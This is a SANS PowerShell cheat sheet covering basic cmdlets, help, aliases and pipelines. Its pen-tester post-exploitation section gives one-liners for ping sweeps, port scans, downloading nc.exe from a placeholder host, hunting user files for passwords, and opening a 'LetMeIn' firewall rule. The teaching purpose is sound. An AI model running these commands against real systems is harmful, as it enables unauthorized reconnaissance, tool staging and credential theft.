SANS PowerShell Cheat Sheet

Purpose

The purpose of this cheat sheet is to describe some common options and techniques for use in Microsoft's PowerShell.

PowerShell Overview

PowerShell Background

PowerShell is the successor to command.com, cmd.exe and cscript. Initially released as a separate download, it is now built in to all modern versions of Microsoft Windows. PowerShell syntax takes the form of verb-noun patterns implemented in cmdlets.

Launching PowerShell

PowerShell is accessed by pressing Start -> typing powershell and pressing enter. Some operations require administrative privileges and can be accomplished by launching PowerShell as an elevated session. You can launch an elevated PowerShell by pressing Start -> typing powershell and pressing Shift-CTRL-Enter.

Additionally, PowerShell cmdlets can be called from cmd.exe by typing:

```
C:\> powershell -c "<command>"
```

Useful Cmdlets (and aliases)

Get a directory listing (ls, dir, gci):

```
PS C:\> Get-ChildItem
```

Copy a file (cp, copy, cpi):

```
PS C:\> Copy-Item src.txt dst.txt
```

Move a file (mv, move, mi):

```
PS C:\> Move-Item src.txt dst.txt
```

Find text within a file:

```
PS C:\> Select-String -path c:\users\*.txt -pattern password
```

```
PS C:\> ls -r c:\users\*.txt -file | % {Select-String -path $_ -
pattern password}
```

Display file contents (cat, type, gc):

```
PS C:\> Get-Content file.txt
```

Get present directory (pwd, gl):

```
PS C:\> Get-Location
```

Get a process listing (ps, gps):

```
PS C:\> Get-Process
```

Get a service listing:

```
PS C:\> Get-Service
```

Formatting output of a command (Format-List):

```
PS C:\> ls | Format-List -property name
```

Paginating output:

```
PS C:\> ls -r | Out-Host -paging
```

Get the SHA1 hash of a file:

```
PS C:\> Get-FileHash -Algorithm SHA1 file.txt
```

Exporting output to CSV:

```
PS C:\> Get-Process | Export-Csv procs.csv
```

PowerShell for Pen-Tester Post-Exploitation

Conduct a ping sweep:

```
PS C:\> 1..255 | % {echo "10.10.10.$_";ping -n 1 -w 100
10.10.10.$_ | Select-String ttl}
```

Conduct a port scan:

```
PS C:\> 1..1024 | % {echo ((new-object
Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is
open!"} 2>$null
```

Fetch a file via HTTP (wget in PowerShell):

```
PS C:\> (New-Object
System.Net.WebClient).DownloadFile("http://10.10.10.10/nc.exe","
nc.exe")
```

Find all files with a particular name:

```
PS C:\> Get-ChildItem "C:\Users\" -recurse -include
*passwords*.txt
```

Get a listing of all installed Microsoft Hotfixes:

```
PS C:\> Get-HotFix
```

Navigate the Windows registry:

```
PS C:\> cd HKLM:\
PS HKLM:\> ls
```

List programs set to start automatically in the registry:

```
PS C:\> Get-ItemProperty
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\run
```

Convert string from ascii to Base64:

```
PS C:\>
[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.Ge
tBytes("PSFTW!"))
```

List and modify the Windows firewall rules:

```
PS C:\> Get-NetFirewallRule –all
PS C:\> New-NetFirewallRule -Action Allow -DisplayName LetMeIn -
RemoteAddress 10.10.10.25
```

Syntax

Cmdlets are small scripts that follow a dashseparated
verb-noun convention such as "Get-Process".
Similar Verbs with Different Actions:

- **New-** Creates a new resource
- **Set-** Modifies an existing resource
- **Get-** Retrieves an existing resource
- **Read-** Gets information from a source, such as a file
- **Find-** Used to look for an object
- **Search-** Used to create a reference to a resource
- **Start-** (asynchronous) begin an operation, such as starting a process
- **Invoke-** (synchronous) perform an operation such as running a command

Parameters:
Each verb-noun named cmdlet may have many parameters to control cmdlet functionality.

Objects:
The output of most cmdlets are objects that can be passed to other cmdlets and further acted upon. This becomes important in pipelining cmdlets.

Finding Cmdlets

To get a list of all available cmdlets:

```
PS C:\> Get-Command
```

Get-Command supports filtering. To filter cmdlets on the verb set:

```
PS C:\> Get-Command Set*
```

```
PS C:\> Get-Command -Verb Set
```

Or on the noun process:

```
PS C:\> Get-Command *Process
```

```
PS C:\> Get-Command -Noun process
```

Getting Help

To get help with help:

```
PS C:\> Get-Help
```

To read cmdlet self documentation:

```
PS C:\> Get-Help <cmdlet>
```

Detailed help:

```
PS C:\> Get-Help <cmdlet> -detailed
```

Usage examples:

```
PS C:\> Get-Help <cmdlet> -examples
```

Full (everything) help:

```
PS C:\> Get-Help <cmdlet> -full
```

Online help (if available):

```
PS C:\> Get-Help <cmdlet> -online
```

Cmdlet Aliases

Aliases provide short references to long commands.

To list available aliases (alias alias):

```
PS C:\> Get-Alias
```

To expand an alias into a full name:

```
PS C:\> alias <unknown alias>
```

```
PS C:\> alias gcm
```

Efficient PowerShell

Tab completion:

```
PS C:\> get-child<TAB>
```

```
PS C:\> Get-ChildItem
```

Parameter shortening:

```
PS C:\> ls –recurse
```

is equivalent to:

```
PS C:\> ls -r
```

5 PowerShell Essentials

Shows help & examples

```
PS C:\> Get-Help [cmdlet] -examples
```

Alias

```
PS C:\> help [cmdlet] -examples
```

Shows a list of commands

```
PS C:\> Get-Command
```

Alias

```
PS C:\> gcm *[string]*
```

Shows properties & methods

```
PS C:\> [cmdlet] | Get-Member
```

Alias

```
PS C:\> [cmdlet] | gm
```

Takes each item on pipeline and handles it as $_

```
PS C:\> ForEach-Object { $_ }
```

Alias

```
PS C:\> [cmdlet] | % { [cmdlet] $_ }
```

Searches for strings in files or output, like grep

```
PS C:\> Select-String
```

Alias

```
PS C:\> sls -path [file] -pattern [string]
```

Pipelining, Loops, and Variables

Piping cmdlet output to another cmdlet:

```
PS C:\> Get-Process | Format-List -property name
```

ForEach-Object in the pipeline (alias %):

```
PS C:\> ls *.txt | ForEach-Object {cat $_}
```

Where-Object condition (alias where or ?):

```
PS C:\> Get-Process | Where-Object {$_.name -eq "notepad"}
```

Generating ranges of numbers and looping:

```
PS C:\> 1..10
```

```
PS C:\> 1..10 | % {echo "Hello!"}
```

Creating and listing variables:

```
PS C:\> $tmol = 42
```

```
PS C:\> ls variable:
```

Examples of passing cmdlet output down pipeline:

```
PS C:\> dir | group extension | sort
```

```
PS C:\> Get-Service dhcp | Stop-Service -PassThru | Set-Service
-StartupType Disabled
```

Additional Info

The original SANS PowerShell Pocket Reference Guide (B&W TriFold) is available here:
Original SANS PowerShell CheatSheet

A printable PDF version of the cheatsheet using this format is available here:
SANS PS CheatSheet

Cheat Sheet Version

Version 4.0